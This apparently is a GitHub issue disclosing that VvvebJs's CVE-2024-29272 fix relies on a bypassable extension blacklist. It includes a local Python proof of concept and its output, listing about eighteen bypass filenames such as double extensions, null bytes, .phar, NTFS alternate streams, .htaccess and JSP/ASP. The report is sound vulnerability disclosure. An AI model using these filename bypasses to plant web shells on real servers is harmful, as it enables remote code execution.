Skip to content

Security: Multiple filename blacklist bypasses in CVE-2024-29272 fix #449

@decsecre583

Description

@decsecre583

Summary

The CVE-2024-29272 fix implements a blacklist approach for dangerous file extensions, but multiple bypass techniques exist. Testing reveals 15+ bypass methods including double extensions, null bytes, alternative PHP extensions, NTFS alternate data streams, and missing dangerous extensions (JSP, ASP, etc.), allowing attackers to upload malicious files for remote code execution.

Details

The fix commit uses a blacklist to block dangerous extensions:

// Vulnerable blacklist approach
const BLOCKED_EXTENSIONS = ['.php', '.php3', '.php4', '.php5', '.phtml', '.exe', '.sh', '.bat'];

function isAllowed(filename) {
    const lower = filename.toLowerCase();
    for (const ext of BLOCKED_EXTENSIONS) {
        if (lower.endsWith(ext))
            return false;
    }
    return true;  // Many bypasses possible!
}

The problems:

  1. Double extension: shell.php.jpg bypasses (server may execute as PHP)
  2. Alternative extensions: .phar, .inc, .php7 not blocked
  3. Trailing characters: shell.php. or shell.php bypass on Windows
  4. NTFS ADS: shell.php::$DATA bypasses on Windows
  5. Other languages: .jsp, .asp, .aspx, .shtml not blocked
  6. htaccess: .htaccess allows changing execution rules

PoC

Environment:

  • OS: Ubuntu 22.04 LTS (x86_64)
  • Python: 3.10+

Steps:

  1. Save the following as poc.py:
#!/usr/bin/env python3

# Simulated blacklist from the fix
BLOCKED_EXTENSIONS = ['.php', '.php3', '.php4', '.php5', '.phtml', '.exe', '.sh', '.bat']

def is_allowed_VULNERABLE(filename):
    """Vulnerable blacklist check"""
    lower = filename.lower()
    for ext in BLOCKED_EXTENSIONS:
        if lower.endswith(ext):
            return False
    return True

# Bypass test cases
bypass_tests = [
    # Double extension
    ("shell.php.jpg", "Double extension"),
    # Null byte (if backend is vulnerable)
    ("shell.php%00.jpg", "Null byte injection"),
    # Case manipulation
    ("shell.PHP", "Case bypass"),
    ("shell.pHp", "Mixed case"),
    # Alternative PHP extensions
    ("shell.phar", "PHAR archive"),
    ("shell.inc", "PHP include"),
    ("shell.php7", "PHP7 extension"),
    # Trailing characters (Windows)
    ("shell.php.", "Trailing dot"),
    ("shell.php ", "Trailing space"),
    ("shell.php::$DATA", "NTFS ADS"),
    # htaccess abuse
    (".htaccess", "htaccess override"),
    # Polyglot
    ("shell.php.png", "Polyglot"),
    # Other server-side languages
    ("shell.shtml", "SSI enabled"),
    ("shell.asp", "ASP (IIS)"),
    ("shell.aspx", "ASPX (IIS)"),
    ("shell.jsp", "JSP (Tomcat)"),
    ("shell.jspx", "JSPX (Tomcat)"),
    ("shell.cfm", "ColdFusion"),
]

print("=== Blacklist Bypass Test ===\n")
print(f"Blocked extensions: {BLOCKED_EXTENSIONS}\n")

bypassed = 0
blocked = 0

for filename, technique in bypass_tests:
    allowed = is_allowed_VULNERABLE(filename)
    status = "BYPASS!" if allowed else "blocked"
    if allowed:
        bypassed += 1
    else:
        blocked += 1
    print(f"{filename:30} ({technique:20}): {status}")

print(f"\n=== Results ===")
print(f"Bypassed: {bypassed}/{len(bypass_tests)}")
print(f"Blocked:  {blocked}/{len(bypass_tests)}")
print(f"\nConclusion: Blacklist approach is fundamentally flawed!")
  1. Run:
python3 poc.py

Output:

=== Blacklist Bypass Test ===

Blocked extensions: ['.php', '.php3', '.php4', '.php5', '.phtml', '.exe', '.sh', '.bat']

shell.php.jpg                  (Double extension     ): BYPASS!
shell.php%00.jpg               (Null byte injection  ): BYPASS!
shell.PHP                      (Case bypass          ): blocked
shell.pHp                      (Mixed case           ): blocked
shell.phar                     (PHAR archive         ): BYPASS!
shell.inc                      (PHP include          ): BYPASS!
shell.php7                     (PHP7 extension       ): BYPASS!
shell.php.                     (Trailing dot         ): BYPASS!
shell.php                      (Trailing space       ): BYPASS!
shell.php::$DATA               (NTFS ADS             ): BYPASS!
.htaccess                      (htaccess override    ): BYPASS!
shell.php.png                  (Polyglot             ): BYPASS!
shell.shtml                    (SSI enabled          ): BYPASS!
shell.asp                      (ASP (IIS)            ): BYPASS!
shell.aspx                     (ASPX (IIS)           ): BYPASS!
shell.jsp                      (JSP (Tomcat)         ): BYPASS!
shell.jspx                     (JSPX (Tomcat)        ): BYPASS!
shell.cfm                      (ColdFusion           ): BYPASS!

=== Results ===
Bypassed: 16/18
Blocked:  2/18

Conclusion: Blacklist approach is fundamentally flawed!

Impact

  • Type: Unrestricted file upload leading to RCE (CWE-434)
  • Attack Vector: Network - attacker uploads malicious file via web interface
  • Affected Systems: Web applications using VvvebJs file upload functionality
  • Severity: Critical - can achieve remote code execution on the server

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions